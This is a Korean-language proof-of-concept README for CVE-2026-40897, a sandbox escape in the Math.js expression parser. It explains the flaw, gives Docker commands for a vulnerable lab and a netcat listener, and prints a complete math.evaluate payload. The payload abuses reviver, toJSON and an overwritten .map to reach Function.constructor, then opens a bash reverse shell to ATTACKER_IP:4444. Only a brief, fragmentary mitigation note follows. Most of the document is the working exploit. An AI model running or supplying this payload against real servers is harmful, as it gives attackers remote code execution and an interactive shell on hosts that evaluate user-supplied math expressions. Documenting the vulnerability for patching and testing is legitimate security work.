
CVE-2026-40897에 대한 개념 증명 익스플로잇으로, Math.js 표현식 파서 샌드박스 우회를 통해 조작된 페이로드와 Docker 랩을 이용한 원격 코드 실행이 가능하다.
★ CVE-2026-40897 Math.js PoC의 원격 코드 실행 ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897은 Math.js의 표현식 파서에 존재하는 샌드박스 우회를 통한 원격 코드 실행 취약점입니다.
isSafeProperty필터는 사용자 표현식에서의 속성 접근만 검사할 뿐, 내부 코드 경로에서의 접근은 검사하지 않습니다. 공격자는toJSON()을 통해ArrayNode의 내부 배열을 유출하고 그.map을 덮어써서, 내부 코드가Function.constructor에 접근하도록 강제하고 임의의 JavaScript를 실행할 수 있습니다.
| Category | Version |
|---|---|
| 취약 | Math.js 13.1.1 ≤ version ≤ 15.1.1 |
| 패치됨 | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
취약한 환경을 시작한 후, 아래 단계에 따라 공격을 재현하세요.
nc -lvnp 4444
다음 표현식을 math.evaluate에 전송하세요 (예: 애플리케이션의 계산 입력을 통해).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
대상 서버가 공격자의 리스너로 역접속하여 대화형 bash 셸을 제공합니다.
math.evaluate()에 직접 전달하지 않기reviver, FunctionAssignmentNode, ArrayNode) 노출 제한